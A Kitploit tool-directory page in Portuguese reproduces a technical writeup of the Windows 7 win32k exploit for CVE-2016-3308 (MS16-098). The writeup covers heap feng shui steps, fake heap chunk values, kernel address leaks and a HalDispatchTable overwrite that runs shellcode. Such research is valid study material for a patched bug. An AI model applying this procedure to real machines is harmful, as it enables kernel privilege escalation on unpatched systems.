Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2016-3308 — Use a CVE-2016-3308 para corromper o desktop heap do win32k | Kitploit
Ferramentas/GitHubGitHub/jackhuyh/cve-2016-3308
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoExploração de Binários
GitHubjackhuyh/cve-2016-3308

CVE-2016-3308

Use a CVE-2016-3308 para corromper o desktop heap do win32k

Ver Repositório
121há 9 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Use a CVE-2016-3308 para corromper o desktop heap do win32k

autor : @55-AA, 18 de setembro de 2016

##Introdução

O desktop heap é um pool do kernel usado pelo win32k, que pode ser explorado por aplicações em modo de usuário. Aqui descreverei em detalhes como implementar uma exploração confiável para ler/escrever endereços arbitrários no kernel. Este writeup e a análise associada foram feitos em uma instalação do win7_sp1_x86(build 17842).

##Vulnerabilidade

Em 9 de agosto de 2016, a Microsoft lançou o MS16-098. O código da vulnerabilidade existe na função win32k!xxxInsertMenuItem, cujo protótipo é:

root@kitploit:~
BOOL xxxInsertMenuItem(
        PMENU pMenu, 
        UINT wIndex, 
        BOOL fByPosition, 
        LPMENUITEMINFOW lpmii, 
        PUNICODE_STRING pstrItem
    );

Primeiro, vejamos o pseudocódigo do bug em xxxInsertMenuItem:

root@kitploit:~
if (pMenu->cItems >= pMenu->cAlloced) {
    if (pMenu->rgItems) {
        pNewItems = (PITEM)DesktopAlloc(
                        pMenu->head.rpdesk,
                        (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
                        DTAG_MENUITEM);
 ......

    pMenu->cAlloced += CMENUITEMALLOC;
    pMenu->rgItems = pNewItems;
    if (wIndex != MFMWFP_NOITEM)
        pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);

......

pMenu->cItems++;
if (pItem != NULL) {
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
            sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {

No código acima, quando o 9º (a partir do 1º) item foi adicionado ao pMenu, DesktopAlloc() foi chamado para realocar um novo pMenu->rgItems. Em seguida, MNLookUpItem() foi chamado para obter a localização do item em pMenu->rgItems. Mas o pItem retornado por MNLookUpItem() é um rgItems de outro pSubMenu, em vez do pMenu; então, quando RtlMoveMemory() foi chamado, o pItem do pSubMenu e os bytes seguintes seriam sobrescritos devido ao tamanho incorreto da movimentação.

A seguir está o código de desmontagem sobre o bug, que acionaria uma sobrescrita no heap e pode ser usado para construir um chunk falso:

root@kitploit:~
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c          imul    eax,eax,6Ch
95d295b2 2bc3            sub     eax,ebx
95d295b4 034634          add     eax,dword ptr [esi+34h]
95d295b7 50              push    eax
95d295b8 8d436c          lea     eax,[ebx+6Ch]
95d295bb 53              push    ebx
95d295bc 50              push    eax
95d295bd e85ea40100      call    win32k!memmove (95d43a20)

Para rastrear o bug, uso estes breakpoints no WinDbg:

root@kitploit:~
ba e1 win32k!xxxInsertMenuItem

ba e1 win32k!xxxInsertMenuItem+0xf3    
95d294e3 e843e70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c          imul    eax,eax,6Ch

Para acionar o bug, as seguintes etapas precisam ser executadas:

  1. Criar um menu.
  2. Criar um submenu como o primeiro ITEM do menu com ID 0x123; é necessário definir MENUITEMINFO.hbmpItem com HBMMENU_SYSTEM.
  3. Adicionar outros 7 ITEMs com ID de 0x1001 a 0x1007 ao menu.
  4. Adicionar um ITEM com ID 1 ao submenu.
  5. Adicionar outros 8 ITEMs ao submenu, para obter um tagMENU.rgItems com 16 slots. Mas esta etapa não é necessária para acionar, se você precisar apenas de um crash.
  6. Adicionar o 9º ITEM com ID 0x123 ao menu; assim, a chamada esperada a RtlMoveMemory() foi executada com parâmetros incorretos.

Desktop Heap

O desktop heap é um pool global usado por todos os processos de GUI. Todos os objetos de GUI, como Window, Menu, são armazenados no desktop heap e gerenciados pelo alocador de heap do kernel. O alocador de heap do kernel usa funções conhecidas, como RtlAllocateHeap e RtlFreeHeap. Diferentemente do heap em modo de usuário, o desktop heap não utiliza alocadores de front-end, portanto não há Low Fragmentation Heap, nem lista Lookaside etc. Além disso, não há Heap Encoding até o Windows 8 e versões posteriores. A seguir está a estrutura do chunk no win7_sp1_x86:

root@kitploit:~
typedef struct _HEAP_ENTRY {
    USHORT Size;
    UCHAR Flags;
    UCHAR SegmentIndex;
    USHORT PreviousSize;
    UCHAR SegmentOffset;
    UCHAR UnusedBytes;
 } HEAP_ENTRY, *PHEAP_ENTRY;

Os campos Size e PreviousSize representam o tamanho dos chunks deslocado à direita em HEAP_GRANULARITY_SHIFT (definido como 3 em sistemas de 32 bits) bits; o campo Size especifica o chunk atual, e PreviousSize especifica o anterior. O bit menos significativo de Flags geralmente é definido como HEAP_ENTRY_BUSY (0x01), representando que o chunk está em uso; caso contrário, é 0x00.

A figura a seguir demonstra a relação entre esses campos e esses blocos de chunk. O segundo WORD sublinhado em verde (0x000f) representa que o tamanho do chunk atual é 0x78 bytes; o segundo WORD sublinhado em preto (0x0003) representa que o tamanho do chunk anterior é 0x18 bytes; e os WORDs sublinhados em vermelho (0x0001) representam que os chunks atuais estão em uso. Aqui, o tamanho do chunk inclui o tamanho do cabeçalho; o cabeçalho é definido pela estrutura HEAP_ENTRY acima.

Essa é a característica mais importante para a corrupção de heap: o alocador de heap sempre obtém o chunk liberado mais recentemente. Isso significa que podemos, na prática, alocar um chunk de qualquer tamanho e em uma localização específica que desejarmos.

Corrupção

Usando o bug, posso sobrescrever alguns bytes no desktop heap, obtendo assim um chunk falso que substitui um chunk normal. Então eu libero o chunk substituído, fazendo com que o chunk falso seja empurrado para o topo da lista de chunks livres. Posteriormente, o chunk falso é reutilizado e posso escrever quaisquer bytes nele; a região gravável se sobrepõe a vários chunks normais, mas não cobre todo o espaço do kernel. Portanto, preciso construir outra primitiva de leitura/escrita na região sobreposta, que aproveite o tagWND.strName para escrever em endereços arbitrários. O ponteiro de strName.Buffer pode nos levar a qualquer lugar, incluindo o espaço do kernel e o espaço do usuário. Naturalmente, nosso alvo é apenas o nt!HalDispatchTable.

A figura a seguir mostra o procedimento de alteração do heap:

De acordo com as demonstrações, corrompo o desktop heap passo a passo e implemento a exploração por meio das seguintes etapas:

  1. Criar algumas janelas com WndText de tamanho 1, repetir FILL_HOLE_COUNT vezes para preencher o buraco antigo.
  2. Criar WND_0 ~ WND_5 para operar dados dos chunks.
  3. Criar um menu e criar um submenu como o primeiro ITEM do menu com ID 0x123. Depois adicionar outros 7 ITEMs com ID 0x1001~0x1007 ao menu.
  4. Adicionar um ITEM com ID 1 e outros 7 ITEMs com ID 0x2001~0x2007 ao submenu.
  5. Adicionar o 9º ITEM com ID 0x2008 ao submenu, para obter um tagMENU.rgItems com 16 slots.
  6. Definir o texto de WND_5 com 0x360 bytes para preencher o buraco original dos ITEMs*8 do submenu.
  7. Definir o texto de WND_1 com 0x70 bytes, preparar o cabeçalho do chunk falso.
  8. Definir o texto de WND_2 com 0x70 bytes, construir um espaço reservado para o chunk falso.
  9. Definir o texto de WND_0 com 0x6c0 bytes, construir um espaço reservado para os futuros ITEMs*16 do menu.
  10. Criar a Primitive-WND com um tagPROPLIST criado automaticamente.
  11. Criar a Corrupt-WND com um tagPROPLIST criado automaticamente.
  12. Definir o texto de WND_3 com 0x10 bytes para um próximo chunk falso após o da etapa 8.
  13. Salvar o layout do heap para restaurá-lo na etapa de saída.
  14. Redefinir o texto de WND_0 para 0x700 bytes, para liberar um buraco de 0x6c0.
  15. Adicionar o 9º ITEM ao menu; ele reutiliza o chunk liberado na etapa 14, e o bug seria acionado.
  16. Redefinir o texto de WND_2 para 0x80 bytes, o que faz com que o chunk falso seja empurrado para o topo da lista de liberados.
  17. Definir o texto da Corrupt-WND com 0x8e0 bytes; então o chunk falso foi reutilizado.
  18. Ao definir o texto da Primitive-WND, executar a primitiva de escrita para sobrescrever nt!HalDispatchTable[1].
  19. Acionar o shellcode chamando NtQueryIntervalProfile.
  20. Restaurar o layout de heap salvo e sair.

As etapas-chave listadas acima para a construção do feng shui de heap:

Na etapa 7, construirei um cabeçalho de heap falso no texto de WND_1, que especifica a condição futura do chunk. Como na seção azul da figura acima, ele sobrescreverá a seção vermelha. A distância de 'Corrupt HDR' até 'red HDR' é 0x6c, que é o tamanho de um ITEM. Os parâmetros são os seguintes:

root@kitploit:~
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;

Na etapa 12, construirei o próximo cabeçalho de heap falso no texto de WND_3, fazendo o alocador de heap acreditar que esses chunks falsos estão encadeados normalmente.

Na etapa 15, o bug seria acionado. Devido à adição do 9º ITEM, a lista de ITEMs é realocada, reutilizando o chunk liberado pelo texto de WND_0. Assim, a distância de 'SubMenuITEMs HDR' até 'MenuITEMs HDR' é (0x6c8+0x78+0x78) bytes; os dados nessa região seriam sobrescritos por eles mesmos. Nesta etapa, os cabeçalhos dos chunks de WND_1, WND_2 e MenuITEMs foram danificados. Para sair do processo normalmente, salvo alguns dados para que possa restaurá-los na etapa 20.

Na etapa 13, salvo alguns dados antes de serem danificados. No entanto, estou no modo de usuário e não posso ler esses dados no espaço do kernel. Felizmente, há uma seção mapeada no espaço de usuário, que é a imagem do desktop heap. Embora seja somente leitura, é suficiente para o meu propósito. Para obter o endereço da seção de imagem no espaço de usuário, pode-se usar o Win32ClientInfo, uma estrutura não documentada no TEB. Vejamos:

root@kitploit:~
typedef struct _CLIENTINFO { 
    ULONG_PTR CI_flags; 
    ULONG_PTR cSpins; 
    DWORD dwExpWinVer; 
    DWORD dwCompatFlags; 
    DWORD dwCompatFlags2; 
    DWORD dwTIFlags; 
    PDESKTOPINFO pDeskInfo; 
    ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase; 
    PVOID pvDesktopLimit; 
} DESKTOPINFO, *PDESKTOPINFO;

Os campos que nos interessam são pvDesktopBase e ulClientDelta. O pvDesktopBase aponta para o endereço de kernel do desktop heap; ulClientDelta é um valor delta que especifica o deslocamento entre a imagem no espaço de usuário e o endereço de kernel.

Além disso, preciso de um mapeamento de HANDLE para endereço de kernel. Existe uma variável global chamada gSharedInfo, exportada pela user32.dll no win7 e versões posteriores. Ela é definida da seguinte forma:

root@kitploit:~
typedef struct _SHAREDINFO{
	PSERVERINFO psi;      
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;      
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl[31];
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;

Assim, posso obter o endereço de kernel a partir de um handle por meio da função:

root@kitploit:~
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
	HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
	ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
	ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
	ULONG dwUniq = (ULONG)MyHandle >> 16;
	if(dwIndex <= cEntries) {
		if (dwUniq == UserHandleTable[dwIndex].wUniq) {
			*UserlandPtr = (PVOID)(
                (ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
			return (PVOID)UserHandleTable[dwIndex].phead;
		}
	}
	return NULL;
}

Nas etapas 17, 18 e 20, quero escrever alguns bytes no espaço do kernel, então uso o texto da janela. Ele é um LARGE_UNICODE_STRING alocado no desktop heap e associado a um objeto de janela. Podemos encontrá-lo na estrutura tagWND; no win7_sp1_x86, seu deslocamento é 0x84, e o deslocamento 0x8c é exatamente o ponteiro que podemos controlar para ler/escrever. No espaço de usuário, posso chamar NtUserDefSetText() para definir o texto da janela; o conteúdo do texto seria escrito no endereço de kernel desejado.

Na etapa 19, aciono o último alvo, o shellcode. Ao chamar NtQueryIntervalProfile() no espaço de usuário, o hal!HaliQuerySystemInformation seria chamado originalmente, mas seu ponteiro de função no nt!HalDispatchTable foi substituído pela minha função na etapa 18. A propósito, quando o 1º parâmetro de NtQueryIntervalProfile for definido como 1, haverá um curto-circuito, devido ao seguinte código no offset 84115505:

root@kitploit:~
nt!KeQueryIntervalProfile:
841154fd 8bff            mov     edi,edi
841154ff 55              push    ebp
84115500 8bec            mov     ebp,esp
84115502 83ec10          sub     esp,10h
84115505 83f801          cmp     eax,1
84115508 7507            jne     nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9              leave
84115510 c3              ret

Fora isso, qualquer outro valor seria executado.

Para acompanhar todo o procedimento de corrupção de forma conveniente, imprimo alguns valores centrais no console.

De acordo com a saída, podemos observar o layout corrompido do desktop heap com o WinDbg.

Estes são WND_1_Text e WND_2_Text nas etapas 7 e 8:

root@kitploit:~
1: kd> db fea2d7a8-8 l78*2
fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Esta é a condição após ser explorada na etapa 15:

root@kitploit:~
0: kd> db fea2d7a8-8 l78*2
fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

Este é o chunk falso concluído:

root@kitploit:~
0: kd> db fea2d820-8
fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

Este é o segundo chunk falso concluído:

root@kitploit:~
0: kd> db fea2d820-8 + 11d*8
fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

PrimitiveWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  ........`...(...

CorruptWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............

O ponteiro do shellcode substituído:

root@kitploit:~
0: kd> dds nt!HalDispatchTable
83f753f8  00000004
83f753fc  013711c0
83f75400  83e3c1b4 hal!HalpSetSystemInformation
83f75404  840fe71f nt!xHalQueryBusSlots
83f75408  00000000

0: kd> u 013711c0
013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
013711cb 894804          mov     dword ptr [eax+4],ecx
013711ce 33c0            xor     eax,eax
013711d0 c21000          ret     10h

##Referências

  • Uma Análise do MS16-098
  • Explorando o bug de use-after-free do win32k!xxxEnableWndSBArrows (CVE 2015-0057) em 32 e 64 bits
  • Ataques ao Kernel através de Callbacks em Modo de Usuário
Baixar ferramenta